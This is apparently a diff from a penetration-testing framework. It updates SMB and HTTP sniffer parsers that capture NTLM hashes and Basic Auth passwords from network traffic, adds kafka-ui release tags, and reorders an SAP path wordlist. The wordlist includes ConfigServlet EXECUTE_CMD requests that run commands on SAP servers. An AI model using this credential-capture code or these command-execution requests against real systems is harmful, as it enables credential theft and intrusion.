||||
|
||||
@@ -132,7 +132,7 @@ class SnifferSMB < BaseProtocolParser
|
||||
ntlmlength = payload[53,2].unpack("v")[0]
|
||||
s[:lmhash] = payload[65,lmlength].unpack("H*")[0]
|
||||
s[:ntlmhash] = payload[65 + lmlength, ntlmlength].unpack("H*")[0]
|
||||
|
||||
|
||||
names = payload[Range.new(65 + lmlength + ntlmlength,-1)].split("\x00\x00").map { |x| x.gsub(/\x00/, '') }
|
||||
|
||||
s[:user] = names[0]
|
||||
@@ -145,8 +145,8 @@ class SnifferSMB < BaseProtocolParser
|
||||
if s[:last] == :ntlm_type3 or s[:last] == :smb_no_ntlm
|
||||
#do not output anonymous/guest logging
|
||||
unless s[:user] == '' or s[:ntlmhash] == '' or s[:ntlmhash] =~ /^(00)*$/m
|
||||
#set lmhash to a default value if not provided
|
||||
s[:lmhash] = "00" * 24 if s[:lmhash] == '' or s[:lmhash] =~ /^(00)*$/m
|
||||
#set lmhash to a default value if not provided
|
||||
s[:lmhash] = "00" * 24 if s[:lmhash] == '' or s[:lmhash] =~ /^(00)*$/m
|
||||
s[:lmhash] = "00" * 24 if s[:lmhash] == s[:ntlmhash]
|
||||
|
||||
smb_status = payload[9,4].unpack("V")[0]
|
||||
@@ -157,29 +157,29 @@ class SnifferSMB < BaseProtocolParser
|
||||
logmessage =
|
||||
"#{ntlm_ver} Response Captured in #{s[:smb_version]} session : #{s[:session]} \n" +
|
||||
"USER:#{s[:user]} DOMAIN:#{s[:domain]} OS:#{s[:peer_os]} LM:#{s[:peer_lm]}\n" +
|
||||
"SERVER CHALLENGE:#{s[:challenge]} " +
|
||||
"\nLMHASH:#{s[:lmhash]} " +
|
||||
"SERVER CHALLENGE:#{s[:challenge]} " +
|
||||
"\nLMHASH:#{s[:lmhash]} " +
|
||||
"\nNTHASH:#{s[:ntlmhash]}\n"
|
||||
print_status(logmessage)
|
||||
|
||||
src_ip = s[:client_host]
|
||||
dst_ip = s[:host]
|
||||
# know this is ugly , last code added :-/
|
||||
smb_db_type_hash = case ntlm_ver
|
||||
when "NTLMv1" then "smb_netv1_hash"
|
||||
when "NTLM2_SESSION" then "smb_netv1_hash"
|
||||
when "NTLMv2" then "smb_netv2_hash"
|
||||
when "NTLMv1" then "netntlm"
|
||||
when "NTLM2_SESSION" then "netntlm"
|
||||
when "NTLMv2" then "netntlmv2"
|
||||
end
|
||||
# DB reporting
|
||||
report_auth_info(
|
||||
:host => dst_ip,
|
||||
:port => 445,
|
||||
:sname => 'smb',
|
||||
report_cred(
|
||||
:ip => dst_ip,
|
||||
:port => s[:port],
|
||||
:service_name => 'smb',
|
||||
:user => s[:user],
|
||||
:pass => s[:domain] + ":" + s[:lmhash] + ":" + s[:ntlmhash] + ":" + s[:challenge],
|
||||
:type => smb_db_type_hash,
|
||||
:password => s[:domain] + ":" + s[:lmhash] + ":" + s[:ntlmhash] + ":" + s[:challenge],
|
||||
:type => :nonreplayable_hash,
|
||||
:jtr_format => smb_db_type_hash,
|
||||
:proof => "DOMAIN=#{s[:domain]} OS=#{s[:peer_os]}",
|
||||
:active => true
|
||||
:status => Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
)
|
||||
|
||||
report_note(
|
||||
|
||||
@@ -44,7 +44,16 @@ class SnifferURL < BaseProtocolParser
|
||||
end
|
||||
if s[:basic_auth]
|
||||
s[:user], s[:pass] = Rex::Text.decode_base64(s[:basic_auth]).split(':', 2)
|
||||
report_auth_info s
|
||||
report_cred(
|
||||
:ip => s[:host],
|
||||
:port => s[:port],
|
||||
:service_name => 'http',
|
||||
:user => s[:user],
|
||||
:password => s[:pass],
|
||||
:type => :password,
|
||||
:proof => "Session: #{s[:session]} Basic Auth: #{s[:basic_auth]}",
|
||||
:status => Metasploit::Model::Login::Status::UNTRIED
|
||||
)
|
||||
print_status "HTTP Basic Authentication: #{s[:session]} >> #{s[:user]} / #{s[:pass]}"
|
||||
end
|
||||
when nil
|
||||
|
||||
@@ -0,0 +1,188 @@
|
||||
[
|
||||
{
|
||||
"name": "v0.7.1",
|
||||
"commit": {
|
||||
"sha": "56fa824510d8a35b08e3b42bf6625c846e2ed5a0"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.7.0",
|
||||
"commit": {
|
||||
"sha": "fdd9ad94c11d44259ef26bf4b2dc9a8bd139f607"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.6.2",
|
||||
"commit": {
|
||||
"sha": "b0c367cac7211117e88a55517396764036ac0552"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.6.1",
|
||||
"commit": {
|
||||
"sha": "ef0dacb0c36a1a180ef8fda670c82854658aab00"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.6.0",
|
||||
"commit": {
|
||||
"sha": "e72f6d6d5dd078df2d270cc48a4087588443f89a"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.5.0",
|
||||
"commit": {
|
||||
"sha": "027d9b4653e2f3ea13d4de6a0b2bd568106ffb40"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.4.0",
|
||||
"commit": {
|
||||
"sha": "521ba0cb2f63110eb2ed13a7054a4d70238a862a"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.3.3",
|
||||
"commit": {
|
||||
"sha": "38c4cf7dd9275294348bab903be9dc12eafe37dd"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.3.2",
|
||||
"commit": {
|
||||
"sha": "9d9d31a6694ab1fc12da20ea18fa5a778ce5a631"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.3.1",
|
||||
"commit": {
|
||||
"sha": "e75c251013845f1921ea75c24b44fd7164ee398d"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.3.0",
|
||||
"commit": {
|
||||
"sha": "9606d7ee5ab3b8056b4a69610ae79b7b473d779d"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.2.1",
|
||||
"commit": {
|
||||
"sha": "da29a200cd8ec46da709e0523787479ac6fb274b"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.2.0",
|
||||
"commit": {
|
||||
"sha": "2e345f6f6caeb3495f6454bfaa5a10bf50639411"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.1.0",
|
||||
"commit": {
|
||||
"sha": "1869a7f0a85ceaa707ea25866da98a3ac5a0667e"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.0.10",
|
||||
"commit": {
|
||||
"sha": "f08970c1d8910091a392d26b51db33b5c99a0f81"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.0.9",
|
||||
"commit": {
|
||||
"sha": "f98abfb79dc2c437f1b6cb5f534da560c85c5406"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.0.8",
|
||||
"commit": {
|
||||
"sha": "222cf2c65189c97877491c7bcc6fc14982ce65d7"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.0.7",
|
||||
"commit": {
|
||||
"sha": "2a743a5bf4b27a6cc9cb857bd178c2e724d98821"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.0.6",
|
||||
"commit": {
|
||||
"sha": "f6253b6bfaa249236ac1b4f0505f4b7af8f89116"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.0.5",
|
||||
"commit": {
|
||||
"sha": "abae56b3d0d2383d0351280213236cd988fd6d28"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.0.4",
|
||||
"commit": {
|
||||
"sha": "4190d76f2fefb65cb898f6c648e932b2c1a5fba3"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.0.3",
|
||||
"commit": {
|
||||
"sha": "8057dc123f23f6da9752d712edeb5e7e490b648c"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.0.2",
|
||||
"commit": {
|
||||
"sha": "f5bb336a75351379dad289b73a85f6ebf8ff5498"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.0.1",
|
||||
"commit": {
|
||||
"sha": "ed08f278f95dca46e58e24a13923939d268eedd3"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "charts/kafka-ui-0.7.1",
|
||||
"commit": {
|
||||
"sha": "c998e17e8322a867c02ef4cdf577aa33c2d3a81e"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "charts/kafka-ui-0.7.0",
|
||||
"commit": {
|
||||
"sha": "78cc4dd981a89b26006fea0984f1305bc663281f"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "charts/kafka-ui-0.6.2",
|
||||
"commit": {
|
||||
"sha": "838fb604d569dae18a1a7a85ef28ed2c125df986"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "charts/kafka-ui-0.6.1",
|
||||
"commit": {
|
||||
"sha": "4a1e987a1d2a958119ab5c936d4b1d82125e14d9"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "charts/kafka-ui-0.6.0",
|
||||
"commit": {
|
||||
"sha": "f2a2574ddc8bbe20776071569935922c3593d5e7"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "charts/kafka-ui-0.5.4",
|
||||
"commit": {
|
||||
"sha": "334ba3df99dfc84385faace167f6410c8ce0be91"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "charts/kafka-ui-0.5.3",
|
||||
"commit": {
|
||||
"sha": "cbb166026d8c6360836def9bf9c208313023961c"
|
||||
}
|
||||
}
|
||||
]
|
||||
@@ -83,6 +83,8 @@
|
||||
<% description = "The module is expected to get a shell every time it runs." %>
|
||||
<% elsif reliability == "unreliable-session" %>
|
||||
<% description = "The module isn't expected to get a shell reliably (such as only once)." %>
|
||||
<% elsif reliability == "event-dependent" %>
|
||||
<% description = "The module may not execute the payload until an external event occurs. For instance, a cron job, machine restart, user interaction within a GUI element, etc." %>
|
||||
<% end %>
|
||||
|
||||
* **<%= reliability %>:** <%= description %>
|
||||
|
||||
@@ -88,6 +88,7 @@ strtab:
|
||||
db 0
|
||||
db 0
|
||||
strtabsz equ $ - strtab
|
||||
|
||||
align 16
|
||||
global _start
|
||||
_start:
|
||||
|
||||
|
||||
Binary file not shown.
+1224
-140
@@ -1,3 +1,7 @@
|
||||
/@download@
|
||||
/ADS-EJB
|
||||
/ADS-License
|
||||
/AE/index.jsp
|
||||
/AdapterFramework/version/version.jsp
|
||||
/AdminTools/
|
||||
/Adobe
|
||||
@@ -5,64 +9,26 @@
|
||||
/AdobeDocumentServices/Config?wsdl
|
||||
/AdobeDocumentServices/Grmg
|
||||
/AdobeDocumentServicesSec/Config
|
||||
/ADS-EJB
|
||||
/ADS-License
|
||||
/AE/index.jsp
|
||||
/AnalyticalReporting/
|
||||
/AnalyticalReporting/AnalyticalReporting_merge_web.xml
|
||||
/AnalyticalReporting/download/win32/websetup.properties
|
||||
/apidocs/
|
||||
/apidocs/allclasses-frame.html
|
||||
/apidocs/com/sap/engine/connector/connection/IConnection.html
|
||||
/apidocs/com/sap/engine/deploy/manager/DeploymanagerFactory.html
|
||||
/apidocs/com/sap/engine/deploy/manager/Deploymanager.html
|
||||
/apidocs/com/sap/engine/deploy/manager/LoginInfo.html
|
||||
/ApplicationAdminProvider
|
||||
/bcb/
|
||||
/bcb/bcbadmHome.jsp
|
||||
/bcb/bcbadmNavigation.jsp
|
||||
/bcb/bcbadmSettings.jsp
|
||||
/bcb/bcbadmStart.jsp
|
||||
/bcb/bcbadmSystemInfo.jsp
|
||||
/bcbtest/start.jsp
|
||||
/BI_UDC
|
||||
/BizcCommLayerAuthoring/Config1
|
||||
/BizcCommLayerAuthoring/Config1?wsdl
|
||||
/BizcCommLayerAuthoring/Config?wsdl
|
||||
/bwtest
|
||||
/caf
|
||||
/CAFDataService/Config
|
||||
/CAFDataService/Config?wsdl
|
||||
/ccsui
|
||||
/CmcApp/logon.faces
|
||||
/CMSRTS/Config1
|
||||
/CMSRTS/Config1?wsdl
|
||||
/CMSRTS/Config?wsdl
|
||||
/com~tc~lm~webadmin~httpprovider~web
|
||||
/CmcApp/logon.faces
|
||||
/CrystalReports/viewrpt.cwr
|
||||
/ctc
|
||||
/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=ifconfig
|
||||
/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=ipconfig%20/all
|
||||
/DataArchivingService
|
||||
/dispatcher
|
||||
/@download@
|
||||
/dswsbobje
|
||||
/dswsbobje/services/BICatalog?wsdl
|
||||
/dswsbobje/services/listServices
|
||||
/examples/
|
||||
/examples_frame.html
|
||||
/examples.html
|
||||
/exchangeProfile/
|
||||
/GRMGHeartBeat
|
||||
/GRMGWSTest/service
|
||||
/GRMGWSTest/service?wsdl
|
||||
/guid/e067540a-a84c-2d10-77bf-c941bb5a9c7a
|
||||
/htmlb/
|
||||
/htmlb/docs/api/index.html
|
||||
/htmlb/index.html
|
||||
/htmlb/jsp/index.jsp
|
||||
/htmlb/moresamples.html
|
||||
/htmlb/samples.html
|
||||
/IGSCustomizingXML
|
||||
/IciActionItemService/IciActionItemConf
|
||||
/IciActionItemService/IciActionItemConf?wsdl
|
||||
/IciChatLineService/IciChatLineConf
|
||||
@@ -86,11 +52,67 @@
|
||||
/IciSystemService/IciSystemConf?wsdl
|
||||
/IciUserService/IciUserConf
|
||||
/IciUserService/IciUserConf?wsdl
|
||||
/IGSCustomizingXML
|
||||
/index.html
|
||||
/InfoViewApp/
|
||||
/InfoViewApp/help/en/user/html/
|
||||
/InfoViewApp/listing/main.do?appKind=InfoView&service=%2FInfoViewApp%2Fcommon%2FappService.do
|
||||
/KW
|
||||
/Lighthammer
|
||||
/Modeler
|
||||
/OpenSQLMonitors/
|
||||
/PerformacetraceTraceApplication
|
||||
/RE/index.jsp
|
||||
/SAPIKS
|
||||
/SAPIKS2
|
||||
/SAPIKS2/contentShow.sap
|
||||
/SAPIKS2/jsp/adminShow.jsp
|
||||
/SAPIrExtHelp
|
||||
/SLDStart/plain
|
||||
/SLDStart/secure
|
||||
/SQLtrace/index.html
|
||||
/TOdbo
|
||||
/TSapq
|
||||
/TXmla
|
||||
/TestJDBC_Web
|
||||
/VC
|
||||
/WSConnector/Config1
|
||||
/WSConnector/Config1?wsdl
|
||||
/WSConnector/Config?wsdl
|
||||
/apidocs/
|
||||
/apidocs/allclasses-frame.html
|
||||
/apidocs/com/sap/engine/connector/connection/IConnection.html
|
||||
/apidocs/com/sap/engine/deploy/manager/Deploymanager.html
|
||||
/apidocs/com/sap/engine/deploy/manager/DeploymanagerFactory.html
|
||||
/apidocs/com/sap/engine/deploy/manager/LoginInfo.html
|
||||
/bcb/
|
||||
/bcb/bcbadmHome.jsp
|
||||
/bcb/bcbadmNavigation.jsp
|
||||
/bcb/bcbadmSettings.jsp
|
||||
/bcb/bcbadmStart.jsp
|
||||
/bcb/bcbadmSystemInfo.jsp
|
||||
/bcbtest/start.jsp
|
||||
/bwtest
|
||||
/caf
|
||||
/ccsui
|
||||
/com~tc~lm~webadmin~httpprovider~web
|
||||
/ctc
|
||||
/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=ifconfig
|
||||
/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=ipconfig%20/all
|
||||
/dispatcher
|
||||
/dswsbobje
|
||||
/dswsbobje/services/BICatalog?wsdl
|
||||
/dswsbobje/services/listServices
|
||||
/examples.html
|
||||
/examples/
|
||||
/examples_frame.html
|
||||
/exchangeProfile/
|
||||
/guid/e067540a-a84c-2d10-77bf-c941bb5a9c7a
|
||||
/htmlb/
|
||||
/htmlb/docs/api/index.html
|
||||
/htmlb/index.html
|
||||
/htmlb/jsp/index.jsp
|
||||
/htmlb/moresamples.html
|
||||
/htmlb/samples.html
|
||||
/index.html
|
||||
/inspection.wsil
|
||||
/ipcpricing/ui/
|
||||
/irj
|
||||
@@ -111,32 +133,26 @@
|
||||
/irj/servlet/prt/portal/prtroot/com.sap.portal.epcf.loader.wdscriptblockprovider
|
||||
/irj/servlet/prt/portal/prtroot/pcd!(*)
|
||||
/irj/servlet/prt/portal/prttarget/uidpwlogon/prteventname/performchangepassword
|
||||
/KW
|
||||
/Lighthammer
|
||||
/logon
|
||||
/logon/index.jsp
|
||||
/logon/logonServlet
|
||||
/logon/logonServlet?redirectURL=%2Fuseradmin%2FuserAdminServlet
|
||||
/logon/logonServlet?redirectURL=%2FVC%2Fdefault.jsp
|
||||
/logon/logonServlet?redirectURL=%Fuseradmin%FuserAdminServlet
|
||||
/logon/logonServlet?redirectURL=%2Fuseradmin%2FuserAdminServlet
|
||||
/logon/logonServlet?redirectURL=%FVC%Fdefault.jsp
|
||||
/logon/logonServlet?redirectURL=%Fuseradmin%FuserAdminServlet
|
||||
/main.html
|
||||
/meSync/HttpGRMGTest.html
|
||||
/mmr/
|
||||
/mmr/mmr/MMRUI.html
|
||||
/Modeler
|
||||
/modeller/
|
||||
/modeller/index.html
|
||||
/monitoring
|
||||
/monitoring/SystemInfo
|
||||
/nwa
|
||||
/OpenSQLMonitors/
|
||||
/PerformacetraceTraceApplication
|
||||
/performanceProvierRoot
|
||||
/pmi
|
||||
/portal
|
||||
/portalapps
|
||||
/RE/index.jsp
|
||||
/rep/build_info.html
|
||||
/rep/build_info.jsp
|
||||
/rep/start/index.jsp
|
||||
@@ -147,9 +163,24 @@
|
||||
/samlssodemo_dest
|
||||
/samlssodemo_source
|
||||
/sap/
|
||||
/sap/BSSP_SP_MAPS
|
||||
/sap/IStest
|
||||
/sap/admin
|
||||
/sap/admin/public/index.html
|
||||
/sap/ap
|
||||
/sap/bc/FormToRfc
|
||||
/sap/bc/FormToRfc/soap
|
||||
/sap/bc/IDoc_XML
|
||||
/sap/bc/MIDSD
|
||||
/sap/bc/MJC
|
||||
/sap/bc/MJC/
|
||||
/sap/bc/MJC/mi_host
|
||||
/sap/bc/MJC/mi_mds
|
||||
/sap/bc/MJC/mi_service
|
||||
/sap/bc/MJC/mi_services
|
||||
/sap/bc/MY_NEW_SERV99
|
||||
/sap/bc/Mi_host_http
|
||||
/sap/bc/Mime
|
||||
/sap/bc/abap/demo
|
||||
/sap/bc/abap/demo_apc
|
||||
/sap/bc/abap/demo_apc_pcp
|
||||
@@ -184,34 +215,34 @@
|
||||
/sap/bc/bsp/sap/certmap
|
||||
/sap/bc/bsp/sap/certreq
|
||||
/sap/bc/bsp/sap/crm_bsp_frame
|
||||
/sap/bc/bsp/sap/crm_ic_ise/editor
|
||||
/sap/bc/bsp/sap/crm_thtmlb_util
|
||||
/sap/bc/bsp/sap/crm_ui_frame
|
||||
/sap/bc/bsp/sap/crm_ui_start
|
||||
/sap/bc/bsp/sap/crmcmp_bpident/
|
||||
/sap/bc/bsp/sap/crmcmp_brfcase
|
||||
/sap/bc/bsp/sap/crmcmp_hdr
|
||||
/sap/bc/bsp/sap/crmcmp_hdr_std
|
||||
/sap/bc/bsp/sap/crmcmp_ic_frame
|
||||
/sap/bc/bsp/sap/crm_ic_ise/editor
|
||||
/sap/bc/bsp/sap/crm_thtmlb_util
|
||||
/sap/bc/bsp/sap/crm_ui_frame
|
||||
/sap/bc/bsp/sap/crm_ui_start
|
||||
/sap/bc/bsp/sap/esh_sapgui_exe
|
||||
/sap/bc/bsp/sap/esh_sap_link
|
||||
/sap/bc/bsp/sap/esh_sapgui_exe
|
||||
/sap/bc/bsp/sap/graph_bsp_test
|
||||
/sap/bc/bsp/sap/graph_bsp_test/Mimes
|
||||
/sap/bc/bsp/sap/gsbirp
|
||||
/sap/bc/bsp/sap/hrrcf_wd_dovru
|
||||
/sap/bc/bsp/sap/htmlb_samples
|
||||
/sap/bc/bsp/sap/ic_frw_notify
|
||||
/sap/bc/bsp/sap/iccmp_bp_cnfirm
|
||||
/sap/bc/bsp/sap/iccmp_hdr_cntnr
|
||||
/sap/bc/bsp/sap/iccmp_hdr_cntnt
|
||||
/sap/bc/bsp/sap/iccmp_header
|
||||
/sap/bc/bsp/sap/iccmp_ssc_ll/
|
||||
/sap/bc/bsp/sap/ic_frw_notify
|
||||
/sap/bc/bsp/sap/it00
|
||||
/sap/bc/bsp/sap/it00/default.htm
|
||||
/sap/bc/bsp/sap/it00/http_client.htm
|
||||
/sap/bc/bsp/sap/it00/http_client_xml.htm
|
||||
/sap/bc/bsp/sap/public/bc
|
||||
/sap/bc/bsp/sap/public/FAA
|
||||
/sap/bc/bsp/sap/public/bc
|
||||
/sap/bc/bsp/sap/public/graphics
|
||||
/sap/bc/bsp/sap/public/sem
|
||||
/sap/bc/bsp/sap/sam_demo
|
||||
@@ -221,17 +252,17 @@
|
||||
/sap/bc/bsp/sap/sbspext_xhtmlb
|
||||
/sap/bc/bsp/sap/spi_admin
|
||||
/sap/bc/bsp/sap/spi_monitor
|
||||
/sap/bc/bsp/sapsrm
|
||||
/sap/bc/bsp/sapsrm/bsp_dhtml_apple
|
||||
/sap/bc/bsp/sapsrm/bsp_java_applet
|
||||
/sap/bc/bsp/sapsrm/call_sig_ctrl
|
||||
/sap/bc/bsp/sapsrm/ctlg_wrapper
|
||||
/sap/bc/bsp/sap/sxms_alertrules
|
||||
/sap/bc/bsp/sap/system
|
||||
/sap/bc/bsp/sap/thtmlb_scripts
|
||||
/sap/bc/bsp/sap/thtmlb_styles
|
||||
/sap/bc/bsp/sap/uicmp_ltx
|
||||
/sap/bc/bsp/sap/xmb_bsp_log
|
||||
/sap/bc/bsp/sapsrm
|
||||
/sap/bc/bsp/sapsrm/bsp_dhtml_apple
|
||||
/sap/bc/bsp/sapsrm/bsp_java_applet
|
||||
/sap/bc/bsp/sapsrm/call_sig_ctrl
|
||||
/sap/bc/bsp/sapsrm/ctlg_wrapper
|
||||
/sap/bc/contentserver
|
||||
/sap/bc/docu
|
||||
/sap/bc/echo
|
||||
@@ -249,23 +280,10 @@
|
||||
/sap/bc/erecruiting/verification
|
||||
/sap/bc/error
|
||||
/sap/bc/error
|
||||
/sap/bc/FormToRfc
|
||||
/sap/bc/FormToRfc/soap
|
||||
/sap/bc/graphics/net
|
||||
/sap/bc/gui/sap/its/CERTREQ
|
||||
/sap/bc/gui/sap/its/designs
|
||||
/sap/bc/gui/sap/its/webgui
|
||||
/sap/bc/IDoc_XML
|
||||
/sap/bc/MIDSD
|
||||
/sap/bc/Mi_host_http
|
||||
/sap/bc/Mime
|
||||
/sap/bc/MJC
|
||||
/sap/bc/MJC/
|
||||
/sap/bc/MJC/mi_host
|
||||
/sap/bc/MJC/mi_mds
|
||||
/sap/bc/MJC/mi_service
|
||||
/sap/bc/MJC/mi_services
|
||||
/sap/bc/MY_NEW_SERV99
|
||||
/sap/bc/ping
|
||||
/sap/bc/report
|
||||
/sap/bc/soap/ici
|
||||
@@ -276,19 +294,23 @@
|
||||
/sap/bc/wdvd
|
||||
/sap/bc/wdvd/
|
||||
/sap/bc/webdynpro
|
||||
/sap/bc/webdynpro/sap/WDR_TEST_ADOBE
|
||||
/sap/bc/webdynpro/sap/WDR_TEST_EVENTS
|
||||
/sap/bc/webdynpro/sap/WDR_TEST_TABLE
|
||||
/sap/bc/webdynpro/sap/WDR_TEST_WINDOW_ERROR
|
||||
/sap/bc/webdynpro/sap/apb_launchpad
|
||||
/sap/bc/webdynpro/sap/apb_launchpad_nwbc
|
||||
/sap/bc/webdynpro/sap/apb_lpd_light_start
|
||||
/sap/bc/webdynpro/sap/apb_lpd_start_url
|
||||
/sap/bc/webdynpro/sap/application_exit
|
||||
/sap/bc/webdynpro/sap/appl_log_trc_viewer
|
||||
/sap/bc/webdynpro/sap/appl_soap_management
|
||||
/sap/bc/webdynpro/sap/application_exit
|
||||
/sap/bc/webdynpro/sap/ccmsbi_wast_extr_testenv
|
||||
/sap/bc/webdynpro/sap/cnp_light_test
|
||||
/sap/bc/webdynpro/sap/configure_application
|
||||
/sap/bc/webdynpro/sap/configure_component
|
||||
/sap/bc/webdynpro/sap/esh_admin_ui_component
|
||||
/sap/bc/webdynpro/sap/esh_adm_smoketest_ui
|
||||
/sap/bc/webdynpro/sap/esh_admin_ui_component
|
||||
/sap/bc/webdynpro/sap/esh_eng_modelling
|
||||
/sap/bc/webdynpro/sap/esh_search_results.ui
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_act_cnf_dovr_ui
|
||||
@@ -314,25 +336,20 @@
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_substitution_admin
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_substitution_manager
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_tp_assess
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_unregemp_job_search
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_unreg_job_search
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_unregemp_job_search
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_unverified_cand
|
||||
/sap/bc/webdynpro/sap/sh_adm_smoketest_files
|
||||
/sap/bc/webdynpro/sap/wd_analyze_config_appl
|
||||
/sap/bc/webdynpro/sap/wd_analyze_config_comp
|
||||
/sap/bc/webdynpro/sap/wd_analyze_config_user
|
||||
/sap/bc/webdynpro/sap/wdhc_application
|
||||
/sap/bc/webdynpro/sap/WDR_TEST_ADOBE
|
||||
/sap/bc/webdynpro/sap/WDR_TEST_EVENTS
|
||||
/sap/bc/webdynpro/sap/wdr_test_popups_rt
|
||||
/sap/bc/webdynpro/sap/WDR_TEST_TABLE
|
||||
/sap/bc/webdynpro/sap/wdr_test_ui_elements
|
||||
/sap/bc/webdynpro/sap/WDR_TEST_WINDOW_ERROR
|
||||
/sap/bc/webrfc
|
||||
/sap/bc/workflow/shortcut
|
||||
/sap/bc/xrfc
|
||||
/sap/bc/xrfc_test
|
||||
/sap/BSSP_SP_MAPS
|
||||
/sap/crm
|
||||
/sap/es/atk
|
||||
/sap/es/cockpit
|
||||
@@ -347,16 +364,39 @@
|
||||
/sap/gw
|
||||
/sap/gw/bep
|
||||
/sap/gw/jsonrpc
|
||||
/SAPIKS
|
||||
/SAPIKS2
|
||||
/SAPIKS2/contentShow.sap
|
||||
/SAPIKS2/jsp/adminShow.jsp
|
||||
/SAPIrExtHelp
|
||||
/sap/IStest
|
||||
/sapmc/sapmc.html
|
||||
/sap/monitoring/
|
||||
/sap/public
|
||||
/sap/public/BusinessSuite
|
||||
/sap/public/BusinessSuite/BCV
|
||||
/sap/public/BusinessSuite/BSSP
|
||||
/sap/public/BusinessSuite/CBESH_ICONS
|
||||
/sap/public/BusinessSuite/CloCo
|
||||
/sap/public/BusinessSuite/TM
|
||||
/sap/public/BusinessSuite/TM/FlashIslands
|
||||
/sap/public/BusinessSuite/TM/Icons
|
||||
/sap/public/BusinessSuite/TM/Icons_rtl
|
||||
/sap/public/E2EALERT
|
||||
/sap/public/ES
|
||||
/sap/public/HRPDV
|
||||
/sap/public/HRPDV/Icons
|
||||
/sap/public/HRRenewal
|
||||
/sap/public/HRRenewal/PB
|
||||
/sap/public/LSOFE
|
||||
/sap/public/LSOFE/IconLarge
|
||||
/sap/public/LSOFE/IconLarge/CORBU
|
||||
/sap/public/LSOFE/IconLarge/TRADESHOW
|
||||
/sap/public/LSOFE/Pictogram
|
||||
/sap/public/LSOFE/Pictogram/CORBU
|
||||
/sap/public/LSOFE/Pictogram/TRADESHOW
|
||||
/sap/public/PPM
|
||||
/sap/public/PPM/PFM
|
||||
/sap/public/PPM/PFM/BCV
|
||||
/sap/public/PPM/PFM/UI
|
||||
/sap/public/PPM/PRO
|
||||
/sap/public/bc
|
||||
/sap/public/bc/AR_NEWS_REDRCT
|
||||
/sap/public/bc/NWDEMO_MODEL
|
||||
/sap/public/bc/NW_ESH_TST_AUTO
|
||||
/sap/public/bc/abap
|
||||
/sap/public/bc/abap/docu
|
||||
/sap/public/bc/abap/mime_demo
|
||||
@@ -364,7 +404,6 @@
|
||||
/sap/public/bc/apc_test
|
||||
/sap/public/bc/apc_test/apc_tcp_test_sf
|
||||
/sap/public/bc/apc_test/apc_tcp_test_sl
|
||||
/sap/public/bc/AR_NEWS_REDRCT
|
||||
/sap/public/bc/bpo
|
||||
/sap/public/bc/bsp
|
||||
/sap/public/bc/clms
|
||||
@@ -388,8 +427,6 @@
|
||||
/sap/public/bc/its/mobile/test
|
||||
/sap/public/bc/its/scripts
|
||||
/sap/public/bc/jsm
|
||||
/sap/public/bc/NWDEMO_MODEL
|
||||
/sap/public/bc/NW_ESH_TST_AUTO
|
||||
/sap/public/bc/pictograms
|
||||
/sap/public/bc/qgm
|
||||
/sap/public/bc/sec
|
||||
@@ -410,13 +447,13 @@
|
||||
/sap/public/bc/ur
|
||||
/sap/public/bc/wdtracetool
|
||||
/sap/public/bc/webdynpro
|
||||
/sap/public/bc/webdynpro/adobechallenge
|
||||
/sap/public/bc/webdynpro/adobeChallenge
|
||||
/sap/public/bc/webdynpro/mimes
|
||||
/sap/public/bc/webdynpro/Polling
|
||||
/sap/public/bc/webdynpro/ViewDesigner
|
||||
/sap/public/bc/webdynpro/adobeChallenge
|
||||
/sap/public/bc/webdynpro/adobechallenge
|
||||
/sap/public/bc/webdynpro/mimes
|
||||
/sap/public/bc/webdynpro/ssr
|
||||
/sap/public/bc/webdynpro/viewdesigner
|
||||
/sap/public/bc/webdynpro/ViewDesigner
|
||||
/sap/public/bc/webicons
|
||||
/sap/public/bc/workflow
|
||||
/sap/public/bc/workflow/shortcut
|
||||
@@ -424,31 +461,16 @@
|
||||
/sap/public/bsp/sap
|
||||
